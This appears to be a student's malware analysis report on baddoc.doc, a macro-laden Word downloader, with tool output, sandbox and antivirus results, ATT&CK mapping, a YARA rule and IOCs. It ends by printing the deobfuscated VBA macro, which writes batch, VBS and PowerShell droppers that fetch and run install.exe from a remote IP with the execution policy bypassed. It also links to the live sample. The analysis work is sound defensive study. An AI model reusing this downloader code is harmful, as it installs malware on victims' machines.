

# Baddoc Report

Type of Report	Static and Sandbox Analysis / Dynamic Analysis
Date	4/3/2024
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Reviewer	Srinivasa Kumar / Pradeep Ponnusamy


## Summary

baddoc.doc is a malicious word document that contains a visual basic macro script which creates and executes scripts to install malicious software from the url <http://91.220.131.44/upd/install.exe>.

I could not run a dynamic analysis of the malware because I do not have word installed on my VM, so I could not analyse the behaviour of the malware. Both VirusTotal and Hybrid Analysis have previously detected this malware as malicious.

## Running Processes

Analysed 7 processes in total.



Sample was found on LetsDefend

Link (WARNING: LINK DOWNLOADS MALICIOUS FILE):

<https://letsdefend-images.s3.us-east-2.amazonaws.com/Courses/MaliciousDocumentAnalysis-Malware-Samples/baddoc.zip>

## Static Analysis

### General Information

{Include malware type, file's name, size, and current antivirus detection capabilities. Don't forget about hashes: MD5, SHA1, SHA256, and SSDEEP. And if a sample has different family names, it's worth mentioning them, too. }

Filename	baddoc.doc
----------	------------

Size	64 KB (65,536 bytes)
Type	DOC
MIME Type	application/msword
Identification	Word 8.0
Creation Date	2015:02:08 19:56:00
Modification Date	2015:02:10 15:27:00
Language Code	Russian
Template	Normal.dotm
md5	a3b613d128aace09241504e8acc678c2
sha1	edde71ccadfad1380b881da5ecafc77fba5885b8
sha256	8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de

## Static Analysis Observations

Exiftool



- oletools

```
C:\Users\Mark\Desktop\LetsDefend>olemeta C:\Users\Mark\Desktop\LetsDefend\baddoc.doc
olemeta 0.54 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
=====
FILE: C:\Users\Mark\Desktop\LetsDefend\baddoc.doc

Properties from the SummaryInformation stream:
+-----+
|Property|Value|
+-----+
|codepage|1251|
|title||
|subject||
|author||
|keywords||
|comments||
|template|Normal.dotm|
|last_saved_by||
|revision_number|1|
|total_edit_time|0|
|create_time|2015-02-08 19:56:00|
|last_saved_time|2015-02-10 15:27:00|
|num_pages|1|
|num_words|51|
|num_chars|291|
|creating_application|Microsoft Office Word|
|security|0|
+-----+

Properties from the DocumentSummaryInformation stream:
+-----+
|Property|Value|
+-----+
|codepage_doc|1251|
|lines|2|
|paragraphs|1|
|scale_crop|False|
|heading_pairs|[b'\xcd\xe0\xe7\xe2\xe0\xed\xee\xef\xfa\xfb\xfc\xfd\xfe\xff', 1]|
|titles_of_parts|[b'']|
|company||
|links_dirty|False|
|chars_with_spaces|341|
|shared_doc|False|
|hlinks_changed|False|
|version|983040|
+-----+
```

```

C:\Users\Mark\Desktop\LetsDefend>oleid baddoc.doc
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
oleid 0.60.1 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: baddoc.doc
WARNING For now, VBA stomping cannot be detected for files in memory
-----+-----+-----+-----+
Indicator      |Value                |Risk    |Description
-----+-----+-----+-----+
File format    |MS Word 97-2003     |info    |
               |Document or Template|
-----+-----+-----+-----+
Container format|OLE                  |info    |Container type
-----+-----+-----+-----+
Application name|Microsoft Office    |info    |Application name declared
               |Word                 |         |in properties
-----+-----+-----+-----+
Properties code page|1251: ANSI Cyrillic;|info    |Code page used for
               |Cyrillic (Windows) |         |properties
-----+-----+-----+-----+
Encrypted       |False               |none    |The file is not encrypted
-----+-----+-----+-----+
VBA Macros      |Yes, suspicious     |HIGH    |This file contains VBA
               |                     |         |macros. Suspicious
               |                     |         |keywords were found. Use
               |                     |         |olevba and mraptor for
               |                     |         |more info.
-----+-----+-----+-----+
XLM Macros      |No                  |none    |This file does not contain
               |                     |         |Excel 4/XLM macros.
-----+-----+-----+-----+
External Relationships|0                   |none    |External relationships
               |                     |         |such as remote templates,
               |                     |         |remote OLE objects, etc
-----+-----+-----+-----+

```

Command to extract source code: olevba baddoc.doc

Command to extract deobfuscated source code: command: olevba --deobf --reveal baddoc.doc

Analysis of the VBA script (see the deobfuscated code at the end of the report):

When the visual basic script is run there is a file c:\Windows\Temp\adobeacd-update.bat which is created and runs c:\Windows\Temp\adobeacd-updatexp.vbs which is created to install a file from the address http://91.220.131.44/upd/install.exe called c:\Windows\Temp\444.exe or c:\Users\%username%\AppData\Local\Temp\444.exe.

The file c:\Users\%username%\AppData\Local\Temp\adobeacd-update.vbs creates a Wscript.shell object that runs powershell to bypass the ExecutionPolicy for the file 'c:\Users\%username%\AppData\Local\Temp\adobeacd-update.ps1';"

Extracted the following information the tools Olevba and VS Code

Keyword	Description
---------	-------------

AutoExec	Runs when the Word document is opened
Auto_Open	Runs when the Excel Workbook is opened
Workbook_Open	Runs when the Excel Workbook is opened
Environ	May read system environment variables
Open	May open a file
Write	May write to a file (if combined with Open)
Output	May write to a file (if combined with Open)
Print #	May write to a file (if combined with Open)
Kill	May delete a file
Shell	May run an executable file or a system command
vbNormal	May run an executable file or a system command
GetObject	May get an OLE object with a running instance
Windows	May enumerate application windows (if combined with Shell.Application object)
User-Agent	May to download files from the Internet
Chr	May attempt to obfuscate specific strings
system	May run an executable file or a system command on a Mac (if combined with libc.dylib)
open	May open a file (obfuscation: VBA expression)
SaveToFile	May create a text file (obfuscation: VBA expression)
WScript.Shell	May run an executable file or a system command (obfuscation: VBA expression)
Run	May run an executable file or a system command (obfuscation: VBA expression)
noexit	May run PowerShell commands (obfuscation: VBA expression)
ExecutionPolicy	May run PowerShell commands (obfuscation: VBA expression)
noprofile	May run PowerShell commands (obfuscation: VBA expression)
CreateObject	May create an OLE object (obfuscation: VBA expression)

New-Object	May create an OLE object using PowerShell (obfuscation: VBA expression)
Net.WebClient	May download files from the Internet using PowerShell (obfuscation: VBA expression)
DownloadFile	May download files from the Internet using PowerShell (obfuscation: VBA expression)
System	May run an executable file or a system command on a Mac (if combined with libc.dylib) (obfuscation: VBA expression)
Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
VBA obfuscated Strings	VBA string expressions were detected, may be Strings used to obfuscate strings (option --decode to see all)
IPv4 Addresses	1.3.1.2 2.2.1.1 1.3.1.2 1.1.2.2 91.220.131.44
URLs	http://91.220.131.44/upd/install.exe
Dropped file paths	c:\Windows\Temp\adobeacd-update.bat c:\Windows\Temp\adobeacd-updatexp.vbs c:\Windows\Temp\444.exe c:\Users\%username%\AppData\Local\Temp\adobeacd-update.vbs c:\Users\%username%\AppData\Local\Temp\adobeacd-update.bat c:\Users\%username%\AppData\Local\Temp\adobeacd-update.ps1

## Sandbox Analysis

Hybrid Analysis Report:

<https://www.hybrid-analysis.com/sample/8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de>

HYBRID ANALYSIS

Sandbox

Quick Scans

File Collections

Resources

Request Info

IP, Domain, Hash...

More

Analysis Overview

Submission name: baddoc.doc

Size: 63KiB

Type: doc office

Mime: application/msword

SHA256: 8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de

Operating System: Windows

Last Anti-Virus Scan: 02/15/2024 14:28:49 (UTC)

Last Sandbox Report: 02/15/2024 14:28:49 (UTC)

malicious

Threat Score: 100/100

AV Detection: 83%

Labeled as: VB.Chronos.72EF93E7E

#macros-on-open

#evasive

Link

Twitter

E-Mail

Request Report Deletion

Analysis Overview

Anti-Virus Scanner Results

Related Hashes

Falcon Sandbox Reports (4)

Incident Response

Community (3)

Back to top

Anti-Virus Results

Refresh Required

CrowdStrike Falcon

100%

Static Analysis and ML

Last Update: 02/15/2024 14:28:49 (UTC)

View Details: N/A

Visit Vendor:

GET STARTED WITH A FREE TRIAL

MetaDefender

66%

Multi Scan Analysis

Last Update: 02/15/2024 14:28:49 (UTC)

View Details:

Visit Vendor:

Related Hashes

Related files

Name	Verdict
baddoc (!).zip eb95c7f8589bc6754f2b9ba5d373eb08b8070664b019c0d6944a743dae7351b	malicious

Files extracted during detonation

Name	Verdict
adobeacd-update.vbs 4d5b0bd57dae4d4da5ad23f4e5609d02eaf2dbac78d578d42bc1121b9c2a9e	malicious
baddoc.LNK 1b019d667788cb092d56e201206fe9526b156ff98dedf3d9d55ae302410df61	no specific threat
e1f37d99490cd216b2fc6fdd9a161b1fa63273f7d0a14de4fff287d8286ca2b0.bin e1f37d99490cd216b2fc6fdd9a161b1fa63273f7d0a14de4fff287d8286ca2b0	suspicious
-WRD000!tmp 5f434c57d07a659e2cfa56ea9ea9dffb9b13d701546c6a624a3a5ef36274c95b	no specific threat

Hybrid Analysis analysed 7 processes


Analysed 7 processes in total.

```
graph TD
    WINWORD[WINWORD.EXE /n "C:\baddoc.doc" (PID: 6420)]
    CMD1[cmd.exe /c %TEMP%\adobeacd-update.bat (PID: 384)]
    PING[PING.EXE ping 1.1.2.2 -n 2 (PID: 7400)]
    CHCP[chcp.com chcp 1251 (PID: 6912)]
    CSCSCRIPT[cscript.exe "%TEMP%\adobeacd-update""v""bs" (PID: 7008)]
    POWERSHELL[powershell.exe -noexit -ExecutionPolicy bypass -nopprofile -file %TEMP%\adobeacd-update.ps1 (PID: 1852)]
    CMD2[cmd.exe /c %TEMP%\444.exe (PID: 3332)]


    WINWORD --> CMD1
    CMD1 --> PING
    CMD1 --> CHCP
    CMD1 --> CSCSCRIPT
    CSCSCRIPT --> POWERSHELL
    POWERSHELL --> CMD2
```



Hybrid Analysis analysed 1 contacted host

IP Address	Port/Protocol	Associated Process	Details
91.220.131.44	80 TCP	powershell.exe PID: 1852	 Poland

Hybrid Analysis found files

 baddoc.doc.LNK

Overview

Download Disabled

Hash Not Seen Before

Size

514B (514 bytes)

Type

Ink

Description

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Feb 15 14:31:10 2024, mtime=Thu Feb 15 14:31:10 2024, atime=Thu Feb 15 14:31:21 2024, length=64000, window=hide

Runtime Process

WINWORD.EXE (PID: 6420)

MD5


dc3b1d017db20868a3fbcbbcb7e573dc

SHA1

c93034212e2c2846bca1143601837d99da66d5c1

SHA256

8f7e929fa8acc93ba8be5dfe560960d23205bb1daedcd4872a8b38409ef6e1d6

 index.dat

Download Disabled

Hash Not Seen Before

Size

159B (159 bytes)

Type

unknown

Description

Generic INItialization configuration [misc]\015

Runtime Process

WINWORD.EXE (PID: 6420)

MD5


16e869491953986a0a5f24dc68725144

SHA1

8481959fc2f143ef4dcc3e5f9d792cc5ccec9ccf

SHA256

6fb0e88772ec9d68cae4205d75399c43090e7117434a5f4298732c703e12bc2d

 MSForms.exd

Download Disabled

Hash Not Seen Before

Size

148KiB (152056 bytes)

Type

data

Runtime Process

WINWORD.EXE (PID: 6420)

MD5


a3d802513740ed025c66d6f089bf48c8

SHA1

cb3ed52aef739caac10b3678312f5311e9a088c

SHA256

e1d1172d3197ab06ebb43461d27104f97c6bf813f5a75c950089f53db256cb07

 adobeacd-update.bat

Download Disabled

Hash Not Seen Before

Size

209B (209 bytes)

Type

text

Description

DOS batch file, ASCII text, with CRLF line terminators

Runtime Process

powershell.exe (PID: 1852)

MD5





029a96d830f04913f1599724dedc2994





SHA1





0f4dae5c689138d43d80542813ald024f67c85fe





SHA256

927f17bf8cd82fbaef9b063e366efc51c2c8a6715693a9fd54528627c8d858bd

<div>  <span>adobeacd-update.ps1</span> </div> <div> <div>Download Disabled</div> <div>Hash Not Seen Before</div> </div>	
Size	1.1KiB (1118 bytes)
Type	<a href="#">text</a>
Description	ASCII text, with CRLF line terminators
Runtime Process	powershell.exe (PID: 1852)
MD5	f8daa9be62193ce437da20fe1da4029d 
SHA1	133940829c7da4144dd3934f01cc144488d49843 
SHA256	18aca73c51be0d1be24ca5fd896e7375b6609df8fbd919a729c8e159f568490a 

<div>  <span>adobeacd-update.vbs</span> </div> <div> <div>Download Disabled</div> <div>Hash Not Seen Before</div> </div>	
Size	359B (359 bytes)
Type	<a href="#">text</a>
Description	ASCII text, with CRLF line terminators
Runtime Process	powershell.exe (PID: 1852)
MD5	d5ce7fbe88cdbe498cb28663e2a5ce22 
SHA1	00c33abf82527c04a41893dbbb380bd3852ce6e7 
SHA256	62b4f1491e7f0c2e00a9d990225562596f7d13e08b853e197bf0adb37a67e1fd 

<div>  <span>~_baddoc.doc</span> </div> <div> <div>Overview</div> <div>Download Disabled</div> <div>Hash Seen Before</div> </div>	
Size	162B (162 bytes)
Type	<a href="#">data</a>
MD5	92174260607a6b7b299ff090c18e2194 
SHA1	db59e8df3cb5b394b2cd779c7e6fed0896320d2a 
SHA256	2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05 

<div>  <span>~_Normal.dotm</span> </div> <div> <div>Overview</div> <div>Download Disabled</div> <div>Hash Seen Before</div> </div>	
Size	162B (162 bytes)
Type	<a href="#">data</a>
MD5	92174260607a6b7b299ff090c18e2194 
SHA1	db59e8df3cb5b394b2cd779c7e6fed0896320d2a 
SHA256	2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05 

# Malicious Indicators

## Anti-Detection/Stealthyness

Creates a process in suspended mode (likely for process injection) ^

**details** "cscript.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy bypass -noprofile -file %USERPROFILE%\AppD" - (UID: 00000000-00007008)

**source** API Call

**relevance** 10/10

**ATT&CK ID** T1055 ([Show technique in the MITRE ATT&CK™ matrix](#))

## External Systems

Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence ^

**details** CrowdStrike Static Analysis and ML (QuickScan) yielded detection: msoffice/malicious\_confidence\_100% (W)

**source** External System

**relevance** 10/10

## General

Document spawns new processes ^

**details** Document spawned a new process (macro present)

**source** Indicator Combinations

**relevance** 7/10

**ATT&CK ID** T1055 ([Show technique in the MITRE ATT&CK™ matrix](#))

## Installation/Persistence

Writes data to a remote process ^

**details** "cscript.exe" wrote 00000FB8 bytes to a remote process "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1408)  
"cscript.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1408)

**source** API Call

**relevance** 6/10

**ATT&CK ID** T1055 ([Show technique in the MITRE ATT&CK™ matrix](#))

## System Security


Executes powershell requesting to bypass execution policy 

**details** Process "powershell.exe" with commandline "-noexit -ExecutionPolicy bypass -nopprofile -file %TEMP%\adobeacd-update.ps1" ([Show Process](#))  
**source** Monitored Target  
**relevance** 5/10  
**ATT&CK ID** T1059.001 ([Show technique in the MITRE ATT&CK™ matrix](#))


## Unusual Characteristics

Contains embedded VBA macros with keywords that indicate auto-execute behavior 

**details** Found keyword "AutoOpen" which indicates: "Runs when the Word document is opened"  
Found keyword "Auto\_Open" which indicates: "Runs when the Excel Workbook is opened"  
Found keyword "Workbook\_Open" which indicates: "Runs when the Excel Workbook is opened"  
**source** Static Parser  
**relevance** 10/10  
**ATT&CK ID** T1137 ([Show technique in the MITRE ATT&CK™ matrix](#))

Contains embedded string that indicates auto-execute behavior 

**details** Found keyword "AutoOpen" which indicates: "Runs when the Word document is opened"  
Found keyword "Auto\_Open" which indicates: "Runs when the Excel Workbook is opened"  
Found keyword "Workbook\_Open" which indicates: "Runs when the Excel Workbook is opened"  
**source** File/Memory  
**relevance** 10/10

Spawns a lot of processes 

**details** Spawned process "WINWORD.EXE" with commandline "/n "C:\\baddoc.doc"" ([Show Process](#))  
Spawned process "cmd.exe" with commandline "/c %TEMP%\adobeacd-update.bat" ([Show Process](#))  
Spawned process "PING.EXE" with commandline "ping 1.1.2.2 -n 2" ([Show Process](#))  
Spawned process "chcp.com" with commandline "chcp 1251" ([Show Process](#))  
Spawned process "cscript.exe" with commandline ""%TEMP%\adobeacd-update""v""bs"" ([Show Process](#))  
Spawned process "powershell.exe" with commandline "-noexit -ExecutionPolicy bypass -nopprofile -file %TEMP%\adobeacd-update.ps1" ([Show Process](#))  
Spawned process "cmd.exe" with commandline "/c %TEMP%\444.exe" ([Show Process](#))  
**source** Monitored Target  
**relevance** 8/10  
**ATT&CK ID** T1057 ([Show technique in the MITRE ATT&CK™ matrix](#))

## VirusTotal Results:

<https://www.virustotal.com/gui/file/8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de>

47

/ 59

Community Score

47 security vendors and 4 sandboxes flagged this file as malicious

Reanalyze

Similar

More

8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de

Size

62.50 KB

Last Analysis Date

12 days ago

DOC

vbafile.doc

doc

macros

ipv4-pattern

open-file

calls-wmi

environ

attachment

obfuscated

detect-debug-environment

long-sleeps

write-file

direct-cpu-clock-access

auto-open

run-file

enum-windows

runtime-modules

DETECTION

DETAILS

RELATIONS

BEHAVIOR

COMMUNITY 16 +

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to [automate checks](#).

Crowdsourced AI

Code Insight

The provided macros exhibit several indicators of malicious intent:

Show more

Hispasec flags this file as malicious

The macros extracted from the document exhibit several signs of malicious intent.

Show more

Popular threat label

downloader:w97m/chronos

Threat categories

downloader

trojan

Family labels

w97m

chronos

bartallex

Security vendors' analysis

Do you want to automate checks?

Acronis (Static ML)	Suspicious	AhnLab-V3	W97M/Downloader
Antiy-AVL	Trojan[Downloader]/VBS.Agent.akp	Arcabit	HEUR.VBA.A.1
Avast	MO97:Downloader-IF [Trj]	AVG	MO97:Downloader-IF [Trj]
Avira (no cloud)	HEUR/Macro.Downloader	Baidu	MSEcel.Virus.Download.g
BitDefender	VB.Heur.Chronos.7.2EF93E7E.Gen	ClamAV	Doc.Downloader.Generic-6698421-0
Cynet	Malicious (score: 70)	DrWeb	Trojan.W97MSiggen.4
Elastic	Malicious (high Confidence)	Emsisoft	VB.Heur.Chronos.7.2EF93E7E.Gen (B)
eScan	VB.Heur.Chronos.7.2EF93E7E.Gen	ESET-NOD32	W97M/TrojanDownloader.Agent.NDZ
Fortinet	WM/Agent.GCE!tr	GData	Macro.Trojan-Downloader.Bartallex.B
Ikarus	Trojan-Downloader.VBA.Agent	Jiangmin	WM/Downloader.Agent.eq
Kaspersky	Trojan-Downloader.MSWord.Agent.et	Kingsoft	Win32.Troj.Undef.a
Lionic	Trojan.MSWord.Bartallex.atc	MAX	Malware (ai Score=100)

## Dynamic Analysis

**Host OS:** Linux Mint 21.2. VirtualBox used as the Hypervisor.

**Victim Virtual Machine:** Flare VM on Windows 10 Home 22H2.

**Lab Network Topology:** Host-only Adapter. Closed network with Remnux serving simulated internet traffic using inetsim.

## Dynamic Analysis Observations

I cannot run a dynamic analysis on my host because Microsoft Word is not installed on my VM and I need a subscription to install Microsoft Word.

## MITRE ATT&CK Mapping

Tactic	ID	Technique	Procedure
Execution	T1047	Windows Management Instrumentation	<ul style="list-style-type: none"><li>• Contains references to WMI/WMIC</li><li>• Found a reference to a WMI query string known to be used for VM detection</li><li>• Contains ability to execute a WMI query</li><li>• Found WMI keywords in script (string)</li><li>• Executes WMI queries known to be used for VM detection</li><li>• Executes WMI queries</li></ul>
	T1059	Command and Scripting Interpreter	File abuses command and script interpreters to execute commands, scripts, or binaries.
	T1059.001	PowerShell	objShell.Run powerShell.exe -noexit -ExecutionPolicy bypass -noprofile -file & currentFile,0,true
	T1059.003	Windows Command Shell	Contains ability to executes commands or batch file
	T1204.002	Malicious File	File contains a malicious macro script.
	T1559	Inter-Process Communication	
	T1569.002	Service Execution	Executes 444.exe it downloads from <a href="http://91.220.131.44/upd/install.exe">http://91.220.131.44/upd/install.exe</a>
Persistence	T1137	Office Application Startup	Starts as a Microsoft Word document.
	T1543.003	Windows Service	<ul style="list-style-type: none"><li>• Contains ability to access device drivers</li><li>• Contains the ability to modify system service (API string)</li><li>• Contains ability to set/modify configuration (Powershell command string)</li><li>• Contains ability to start a service (API string)</li></ul>

			<ul style="list-style-type: none"> <li>Creates or modifies windows services</li> </ul>
Privilege Escalation	T1548.002	Bypass User Account Control	Contains this line of code to bypass user access control "objShell.Run powerShell.exe -noexit -ExecutionPolicy bypass -nopofile -file & currentFile"
Defense Evasion	T1027	Obfuscated Files or Information	Code is heavily obfuscated with Chr(), Asc(), and splitting strings with "+"
	T1036	Masquerading	Malicious macro script is embedded in the word document.
	T1548.002	Bypass User Account Control	Contains this line of code to bypass user access control "objShell.Run powerShell.exe -noexit -ExecutionPolicy bypass -nopofile -file & currentFile"

## YARA Rules

### My YARA Rules

```
rule DETECTED_baddoc_doc_file
{
  meta:
    description = "Detects baddoc.doc file"
    author = "MB"
    date = "2024-03-05"
    hash = "8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de"
    /* The Microsoft word header and strings embedded in the vba macro script.*/

  strings:
    $MicrosoftCOM = {D0 CF 11 E0 A1 B1 1A E1}
    $q = "Normal.dotm"
    $w = "://91.220.131"
    $e = "444.e"
    $r = "g 1.3.1.2 -n"
    $t = "g 2.2.1.1 -n"
    $u = "ScriptName"
    $i = "objXMLHTTP.Status"
    $o = "pinkator"
    $p = "windows"
    $a = "loop"
    $s = "User-Agent"

  condition:
    $MicrosoftCOM at 0
```

```

    and all of them
}

```

```

C:\Users\Mark\Desktop\LetsDefend>yara -r C:\Users\Mark\Desktop\LetsDefend\yara_rule.yara C:\Users\Mark 2>NUL
DETECTED_baddoc_doc_file C:\Users\Mark\Desktop\LetsDefend\baddoc.doc

```

## IOCs

IPv4 Addresses	1.3.1.2: pinged 2.2.1.1: pinged 1.3.1.2: pinged 1.1.2.2: pinged 91.220.131.44: used in url http://91.220.131.44/upd/install.exe and downloads the file to the path c:\Windows\Temp\444.exe
URLs	http://91.220.131.44/upd/install.exe
Dropped file names	adobeacd-update.bat adobeacd-updatexp.vbs 444.exe adobeacd-update.vbs adobeacd-update.bat adobeacd-update.ps1
Dropped file paths	c:\Windows\Temp\adobeacd-update.bat c:\Windows\Temp\adobeacd-updatexp.vbs c:\Windows\Temp\444.exe c:\Users\%username%\AppData\Local\Temp\adobeacd-update.vbs c:\Users\%username%\AppData\Local\Temp\adobeacd-update.bat c:\Users\%username%\AppData\Local\Temp\adobeacd-update.ps1

## Additional Information / Examiner Notes / Attachments

Source code of the VBA macro script. I used olevba --deobf --clean <filename> then used VS Code to further change the obfuscated strings to readable strings to see what is happening in the code.

----- START OF CODE -----

```
'# command (output edited further): olevba --deobf --reveal baddoc.doc
```

```
Sub Auto_Open()
    h
```



```
End Sub
Sub h()
Dim "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1", "c:\Users\" + USER +
"\AppData\Local\Temp\adobeacd-update.bat", "c:\Users\" + USER +
"\AppData\Local\Temp\adobeacd-update.vbs", "c:\Windows\Temp\adobeacd-updatexp.vbs",
JAISODJAS
```

```
USER = Environ$("username")
```

```
On Error Resume Next
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1", vbNormal
```

```
If (Len(Dir("c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1")) <> 0) Then
Kill "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1"
End If
```

```
On Error Resume Next
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.bat", vbNormal
If (Dir("c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.bat") <> "") Then
Kill "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.bat"
End If
```

```
On Error Resume Next
SetAttr "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.vbs", vbNormal
If (Dir("c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.vbs") <> "") Then
Kill "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.vbs"
End If
```

```
On Error Resume Next
SetAttr "c:\Windows\Temp\adobeacd-updatexp.vbs", vbNormal
If (Dir("c:\Windows\Temp\adobeacd-updatexp.vbs") <> "") Then
Kill "c:\Windows\Temp\adobeacd-updatexp.vbs"
End If
```

```
Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer
```

```
Dim retVal As Variant
```

```
FileNumber = FreeFile
FileNumb = FreeFile
FileNu = FreeFile
FileNukk = FreeFile
```

```
FileNs = FreeFile
```

```

Kasdwq = FreeFile
FileNuG = FreeFile
Dim objWMIService As Variant
Dim colOperatingSystems As Variant
Dim objOperatingSystem As Variant
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\
oot\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from
Win32_OperatingSystem")
For Each objOperatingSystem In colOperatingSystems
    SysReport = SysReport & "The operating system on this computer is " &
objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")"
Next

```

```

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\
oot\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from
Win32_OperatingSystem")
For Each objOperatingSystem In colOperatingSystems
    winverstr = objOperatingSystem.Version
Next

```

```

winver = Val(winverstr)
WaitFor (1)
jskw = winver

```

```

If (jskw <= 5.5) Then

```

```

    Open "c:\Windows\Temp\adobeacd-update.bat" For Output As #Kasdwq
    Print #Kasdwq, "@echo off"
    Print #Kasdwq, ":pinkator"
    Print #Kasdwq, "ping 1.3.1.2 -n 2"
    Print #Kasdwq, "cscript.exe c:\Windows\Temp\adobeacd-updatexp.vbs"
    Print #Kasdwq, "ping 2.2.1.1 -n 2"
    Print #Kasdwq, ":windows"
    Print #Kasdwq, "c:\Windows\Temp\444.exe"
    Print #Kasdwq, ":loop"
    Print #Kasdwq, "ping 1.3.1.2 -n 1"
    Print #Kasdwq, "set tar1=adobeacd-update.bat"
    Print #Kasdwq, "del c:\Windows\Temp\adobeacd-updatexp.vbs"
    Print #Kasdwq, "del c:\Windows\Temp\%tar1%"
    Print #Kasdwq, "if exist c:\Windows\Temp\%tar1% goto loop"
    Print #Kasdwq, "if exist c:\Windows\Temp\adobeacd-updatexp.vbs goto loop"

```

```
Print #Kasdwq, "exit"  
Close #Kasdwq
```

```
WaitFor (2)  
mttt = 88
```

```
Open "c:\Windows\Temp\adobeacd-updatexp.vbs" For Output As #FileNumber  
Print #FileNumber, "strRT = http://91.220.131.44/upd/install.exe"  
Print #FileNumber, "strTecation = c:\Windows\Temp\444.exe"  
Print #FileNumber, "Set objXMLHTTP = CreateObject(MSXML2.XMLHTTP)"  
Print #FileNumber, "objXMLHTTP.open GET, strRT, False"  
Print #FileNumber, "objXMLHTTP.send()"   
Print #FileNumber, "If objXMLHTTP.Status = 200 Then"  
Print #FileNumber, "uwqhda = ADODB."  
Print #FileNumber, "Set objADOSTream = CreateObject(ADODB.Stream)"
```

```
Print #FileNumber, "objADOSTream.Open "  
Print #FileNumber, "objADOSTream.Type = 1"  
Print #FileNumber, "objADOSTream.Write objXMLHTTP.ResponseBody "  
Print #FileNumber, "objADOSTream.Position = 0 "  
Print #FileNumber, "objADOSTream.SaveToFile strTecation "  
Print #FileNumber, "objADOSTream.Close "  
Print #FileNumber, "Set objADOSTream = Nothing "  
Print #FileNumber, "End if "  
Print #FileNumber, "Set objXMLHTTP = Nothing"  
Print #FileNumber, "Set objShell = CreateObject(WScript.Shell)"  
Print #FileNumber, ""  
Close #FileNumber
```

```
WaitFor (1)
```

```
retVal = Shell("c:\Windows\Temp\adobeacd-update.bat", 0)
```

```
End If
```

```
If (winver > 5.5) Then
```

```
Open "c:\Users\" + USER + "\AppData\Local\Temp\adobeacd-update.ps1" For Output As  
#FileNumber
```

```
Print #FileNumber, "$down = New-Object System.Net.WebClient;"  
Print #FileNumber, "$url = 'http://91.220.131.44/upd/install.exe';"  
Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\444.exe';"  
Print #FileNumber, "$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X  
10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+";"
```

```
Print #FileNumber, "$down.DownloadFile($url,$file);"  
Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"  
Print #FileNumber, "$someFilePath = ";"
```

```
Print #FileNumber, "$vbsFilePath = 'c:\Users\' + USER +  
\"AppData\Local\Temp\adobeacd-update.vbs';"  
Print #FileNumber, "$batFilePath = 'c:\Users\' + USER +  
\"AppData\Local\Temp\adobeacd-update.bat';"  
Print #FileNumber, "$psFilePath = 'c:\Users\' + USER +  
\"AppData\Local\Temp\adobeacd-update.ps1';"
```

```
Print #FileNumber, "Start-Sleep -s 15;"  
Print #FileNumber, "cmd.exe /c 'c:\Users\' + USER + \"AppData\Local\Temp\444.exe'; "  
Print #FileNumber, "$file1 = gci $vbsFilePath -Force"  
Print #FileNumber, "$file2 = gci $batFilePath -Force"  
Print #FileNumber, "$file3 = gci $psFilePath -Force"  
Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"  
Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"  
Print #FileNumber, "$psHello = 'aisdjhiqowhdiq';"  
Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"  
Print #FileNumber, "Remove-Item $MyInvocation.InvocationName"  
Close #FileNumber
```

```
Open "c:\Users\' + USER + \"AppData\Local\Temp\adobeacd-update.vbs" For Output As  
#FileNumb  
Print #FileNumb, "Dim dff"  
Print #FileNumb, "dff = 68"  
Print #FileNumb, "currentDirectory =  
left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"  
Print #FileNumb, "Set objFSO=CreateObject(Scripting.FileSystemObject)"  
Print #FileNumb, "currentFile = C:\Users\' + USER +  
